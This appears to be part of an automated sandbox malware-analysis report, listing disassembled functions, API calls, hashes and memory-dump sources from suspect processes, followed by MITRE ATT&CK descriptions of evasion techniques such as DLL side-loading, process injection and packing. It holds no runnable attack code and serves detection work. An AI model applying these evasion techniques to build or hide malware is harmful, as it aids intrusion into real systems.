Instruction ID: 9c4fb47730f77d8276b6102506d5ab1ba7850f702e43cb7af11ffdf90a5f83d5
Opcode Fuzzy Hash: 449cc4853d1ba0cef52c49eef8ddff3b0cc6347238ac053d2974efbe4f745056
Instruction Fuzzy Hash: A581D132114B4485F7729B35A4503EAB7A1FB79798F044303FEAA266F5D7BCC9818A80

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B497C Relevance: 7.6, APIs: 5, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

_RTC_Initialize.LIBCMT ref: 000001D26B9B49AE
_ioinit.LIBCMT ref: 000001D26B9B49CC

Part of subcall function 000001D26B9B89BC: _calloc_crt.LIBCMT ref: 000001D26B9B89FA

_calloc_crt.LIBCMT ref: 000001D26B9B4A7E
_initptd.LIBCMT ref: 000001D26B9B4AA6

Part of subcall function 000001D26B9B43B4: _errno.LIBCMT ref: 000001D26B9B43D4

_freeptd.LIBCMT ref: 000001D26B9B4ACB

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _calloc_crt$Initialize_errno_freeptd_initptd_ioinit
String ID:
API String ID: 746714681-0
Opcode ID: df0c4a3a2ee58daf79a1fec0451278c68ce966628ff7f4c7d5d0edb5bacff891
Instruction ID: ef704900511a554cf878434e81c63156f1b3a8f02ce25a9d2d86fe7f5e30f348
Opcode Fuzzy Hash: df0c4a3a2ee58daf79a1fec0451278c68ce966628ff7f4c7d5d0edb5bacff891
Instruction Fuzzy Hash: 52418B7060F30181FE647776D99A3EF2288AB70744F55542BED35853DFEA38C800AE26

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF2E560 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001D26BF29DF7,?,?,00000000,000001D26BF2A092,?,?,?,?,?,000001D26BF2A01E), ref: 000001D26BF2E57F
FlsSetValue.KERNEL32(?,?,?,000001D26BF29DF7,?,?,00000000,000001D26BF2A092,?,?,?,?,?,000001D26BF2A01E), ref: 000001D26BF2E59E
FlsSetValue.KERNEL32(?,?,?,000001D26BF29DF7,?,?,00000000,000001D26BF2A092,?,?,?,?,?,000001D26BF2A01E), ref: 000001D26BF2E5C6
FlsSetValue.KERNEL32(?,?,?,000001D26BF29DF7,?,?,00000000,000001D26BF2A092,?,?,?,?,?,000001D26BF2A01E), ref: 000001D26BF2E5D7
FlsSetValue.KERNEL32(?,?,?,000001D26BF29DF7,?,?,00000000,000001D26BF2A092,?,?,?,?,?,000001D26BF2A01E), ref: 000001D26BF2E5E8

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 24ab45fc2fdeb3e3f58db67cf97215a5de1f061ae1d1aed6349d66ac32db767f
Instruction ID: 5ce7939a19d0c3c988a8c004bb58d5176ddb04584b760c3b144b41904e39d9cf
Opcode Fuzzy Hash: 24ab45fc2fdeb3e3f58db67cf97215a5de1f061ae1d1aed6349d66ac32db767f
Instruction Fuzzy Hash: BA118970B2135141F95893B9A6D23F962815B647F4F145327FD39477FAEE38D44146C0

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B69E8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

__crtGetStringTypeA.LIBCMT ref: 000001D26B9B6AA0
__crtLCMapStringA.LIBCMT ref: 000001D26B9B6AD3
__crtLCMapStringA.LIBCMT ref: 000001D26B9B6B0C

Strings

, xrefs: 000001D26B9B6A63

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: String__crt$Type
String ID:
API String ID: 3537684447-3916222277
Opcode ID: 39599cb716628a5e434ecd9315312587bad9370f57af7834cb2c5badbcfdb37a
Instruction ID: fa9ba77a4ad209d90a2514f4b1096b970f14dd3759cc583d0a41ef32c006d040
Opcode Fuzzy Hash: 39599cb716628a5e434ecd9315312587bad9370f57af7834cb2c5badbcfdb37a
Instruction Fuzzy Hash: B7518D7221E7C49AE721CF38E0843DEBBA0F359748F54412AEB9947A89DB78D146CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9C1E4A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 000001D26B9C01DC: _getptd.LIBCMT ref: 000001D26B9C01E9
Part of subcall function 000001D26B9C01DC: _getptd.LIBCMT ref: 000001D26B9C01FC

__DestructExceptionObject.LIBCMT ref: 000001D26B9C1E97
_getptd.LIBCMT ref: 000001D26B9C1E9D
_getptd.LIBCMT ref: 000001D26B9C1EB0

Part of subcall function 000001D26B9C026C: _getptd.LIBCMT ref: 000001D26B9C0275

Strings

csm, xrefs: 000001D26B9C1E6A

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _getptd$DestructExceptionObject
String ID: csm
API String ID: 1870926281-1018135373
Opcode ID: 0df87d8fc70c5eeb6ff39d117c0909b9676d8618e9878a490a9571360b14686d
Instruction ID: 607a8af35c92153997177b6f606a090ca76b04009f39ccccc814ea8973df2953
Opcode Fuzzy Hash: 0df87d8fc70c5eeb6ff39d117c0909b9676d8618e9878a490a9571360b14686d
Instruction Fuzzy Hash: BD016D72106761C9EB20AF31C8853FD27A5F766B5BF085922DE298B74EDF30C8848B40

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9BABF8 Relevance: 6.4, Strings: 5, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

Strings

GetProcessWindowStation, xrefs: 000001D26B9BAD11
MessageBoxW, xrefs: 000001D26B9BAC83
GetActiveWindow, xrefs: 000001D26B9BACA5
USER32.DLL, xrefs: 000001D26B9BAC39, 000001D26B9BAC65
GetLastActivePopup, xrefs: 000001D26B9BACC5

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID:
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$MessageBoxW$USER32.DLL
API String ID: 0-4293673721
Opcode ID: 8b25ad11a6ae759c3b1d8dec73fd7a9728b1c200172f7ed9d66c9d482b4b9e25
Instruction ID: 077a8a5baf2d8545c2d7de95f94dd6d1c13d5287e625e24f6432debc08969164
Opcode Fuzzy Hash: 8b25ad11a6ae759c3b1d8dec73fd7a9728b1c200172f7ed9d66c9d482b4b9e25
Instruction Fuzzy Hash: 5251AF7230B74085FA65E726E8557FE36946FB9B91F880027ED3E4B796EF38C8418610

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF01CB0 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001D26BF01DFA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000001D26BF01E76
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000001D26BF01E7C
__std_exception_destroy.LIBVCRUNTIME ref: 000001D26BF01EAD

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy__std_exception_destroy
String ID:
API String ID: 2138705365-0
Opcode ID: 1929273ca39d20ba3b6feda605780fe1269c2d93e584bee7dd59d62d00fc21cc
Instruction ID: cf55355c1995a2b79bd3bc3044f14aa9ea304cd8d088cbfef58645e59fd69b9b
Opcode Fuzzy Hash: 1929273ca39d20ba3b6feda605780fe1269c2d93e584bee7dd59d62d00fc21cc
Instruction Fuzzy Hash: 4751AF32615BC482EA108B35E55539AB360FBA97D8F509212FEAD02BBADF78D194C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9BA2C3 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D26B9BA2F4
_errno.LIBCMT ref: 000001D26B9BA2FF

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 2e34d61e949991d071501b6966374c0c0dbdd37cb226608443beee8b0567028f
Instruction ID: 90aa631747a67712d4e8c592d7cad2a7518785764a4f16fb64f60157f530010c
Opcode Fuzzy Hash: 2e34d61e949991d071501b6966374c0c0dbdd37cb226608443beee8b0567028f
Instruction Fuzzy Hash: FF115E7220F38087FBA25A65D0443EE6690A765B90F954027EE7507BCEDF79C8428F11

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B56C0 Relevance: 6.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 000001D26B9B56D9
_initterm_e.LIBCMT ref: 000001D26B9B56FD
_initterm.LIBCMT ref: 000001D26B9B5720
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D26B9B5736

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: CurrentImageNonwritable$_initterm_initterm_e
String ID:
API String ID: 1155424811-0
Opcode ID: dd2fdfa2082d8d5e5dfb40acf4daf3227e8cb24c59ed6eeea89d66cd24b543a9
Instruction ID: 86f0374f675f03f5ec87fa909096f60d06a2a663c3a625589589e05550fe8213
Opcode Fuzzy Hash: dd2fdfa2082d8d5e5dfb40acf4daf3227e8cb24c59ed6eeea89d66cd24b543a9
Instruction Fuzzy Hash: 0A01C87222A701D2FB95AB61DCA67E63264A778741F805027DE39850EAEF38C949CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9BA3A4 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D26B9BA2F4
_errno.LIBCMT ref: 000001D26B9BA2FF
_errno.LIBCMT ref: 000001D26B9BA3C4
_invalid_parameter_noinfo.LIBCMT ref: 000001D26B9BA3D0

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 39c54f051a9d4777c0c78093c1e7fc3970a80fae3ab72134b9cd16030d69d755
Instruction ID: 11cf6e80fbfd7edb7b54a41bd294ebb1bad1cbc32e9bc3f69a0bb254480c98cc
Opcode Fuzzy Hash: 39c54f051a9d4777c0c78093c1e7fc3970a80fae3ab72134b9cd16030d69d755
Instruction Fuzzy Hash: 1DF06D3230B78087FBA29A55D4883DE6250A7A5B90FA54522EE34177CFDF78C8428F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF025B3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

WinHttpConnect.WINHTTP ref: 000001D26BF0267C
WinHttpOpenRequest.WINHTTP ref: 000001D26BF026AC

Strings

GET, xrefs: 000001D26BF0268E

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Http$ConnectOpenRequest
String ID: GET
API String ID: 1015889205-1805413626
Opcode ID: 09d8a6d4ae76e1c291b3e5b6bcabe24fa0ad5541ad079e06fa93142afd998e2b
Instruction ID: 7990863df8cb45486316258dc8c5c809cd6bd328f0bbac6259998e8a04c56d3e
Opcode Fuzzy Hash: 09d8a6d4ae76e1c291b3e5b6bcabe24fa0ad5541ad079e06fa93142afd998e2b
Instruction Fuzzy Hash: D8416B72701B9085EB10CBA5E9543DD6371F768BE8F401616EE6E27BA9DF78C084C710

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF1AF3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,000001D26BF01ACF), ref: 000001D26BF1AF8C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000001D26BF01ACF), ref: 000001D26BF1AFCD

Strings

csm, xrefs: 000001D26BF1AFBA

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0caa8ac92a0ac87d111bce21e8230312b24a0a576cdb4b9541fe08c85b5ca054
Instruction ID: 91c468f33c2b5536a116cf584ca00ba66cd8f13e25a2312809d51cc062518375
Opcode Fuzzy Hash: 0caa8ac92a0ac87d111bce21e8230312b24a0a576cdb4b9541fe08c85b5ca054
Instruction Fuzzy Hash: 71118F32214B4082EB618F25F440389B7E0FB98B84F584621EF9C07B64EF3CC955CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BAFD6E0 Relevance: 5.0, Strings: 4, Instructions: 13COMMON

Download Yara Rule

Strings

t: %, xrefs: 000001D26BB25183
TTP/, xrefs: 000001D26BB149AE
1.1, xrefs: 000001D26BB23FDD
Hos, xrefs: 000001D26BB25175

Memory Dump Source

Source File: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID:
String ID: Hos$1.1$TTP/$t: %
API String ID: 0-985915205
Opcode ID: d18ed806d499738d1fa4d89ac4875b4f2a88b734c0729333343bfa5bb847447c
Instruction ID: 528041930342291077738ab1f6ab91a7a67053aa87ef608ed71e2959a1b4c6b8
Opcode Fuzzy Hash: d18ed806d499738d1fa4d89ac4875b4f2a88b734c0729333343bfa5bb847447c
Instruction Fuzzy Hash: 69E0BF7641D3A18AE6384F0595843BFFB20E371354F305207EEB209999C27AC4055F46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CertEnrollCtrl.exePID: 7124, Parent PID: 3368COMMON

Executed Functions

Function 0068007A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 86libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0068036F

Strings

u, xrefs: 00680264

Memory Dump Source

Source File: 0000000E.00000003.2818464058.0000000000680000.00000040.00000001.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_680000_CertEnrollCtrl.jbxd

Similarity

API ID: LibraryLoad
String ID: u
API String ID: 1029625771-4081350226
Opcode ID: afb7f747363cce484aadc271c765139e1c5b21ba30a8322b326ca83346c360e1
Instruction ID: db45d8262fb823ffdc5f540afc1a0ffd58440b2a2ea5ed97056b98dc11daad8f
Opcode Fuzzy Hash: afb7f747363cce484aadc271c765139e1c5b21ba30a8322b326ca83346c360e1
Instruction Fuzzy Hash: 9621D631604202CBEB64EE54C4947B973F7BB45350F750B69D996AB680D370AD8BDB40

Uniqueness

Uniqueness Score: -1.00%

Function 0068019C Relevance: 1.5, APIs: 1, Instructions: 26libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0068036F

Memory Dump Source

Source File: 0000000E.00000003.2818464058.0000000000680000.00000040.00000001.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_680000_CertEnrollCtrl.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 60cd4f0c8fd3605a20b1526428f63ab238655e4b1aacb04ee2f47ecca37e3b8a
Instruction ID: d1b076ea0f9123df5195abd13c40046350dcef9c2d5a9116886a1d1b6b8179f5
Opcode Fuzzy Hash: 60cd4f0c8fd3605a20b1526428f63ab238655e4b1aacb04ee2f47ecca37e3b8a
Instruction Fuzzy Hash: 96E0D170209693CFD7226A6448643B23BD75F4731571C095894C1DB251D250FC07D740

Uniqueness

Uniqueness Score: -1.00%

Function 00680365 Relevance: 1.5, APIs: 1, Instructions: 20libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0068036F

Memory Dump Source

Source File: 0000000E.00000003.2818464058.0000000000680000.00000040.00000001.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_680000_CertEnrollCtrl.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 21e5debdbacba21dea0969d0d9c18efa88826b2536a9a8b5926868ea3f046321
Instruction ID: ffd6ac9fc6a456204a01cdff1d6af8e2fd40827140683048c37258244f704c2b
Opcode Fuzzy Hash: 21e5debdbacba21dea0969d0d9c18efa88826b2536a9a8b5926868ea3f046321
Instruction Fuzzy Hash: 27E086312096D3CBE7356AA9885437277D65F46319F690A5C94C5EB140D250ED42D740

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

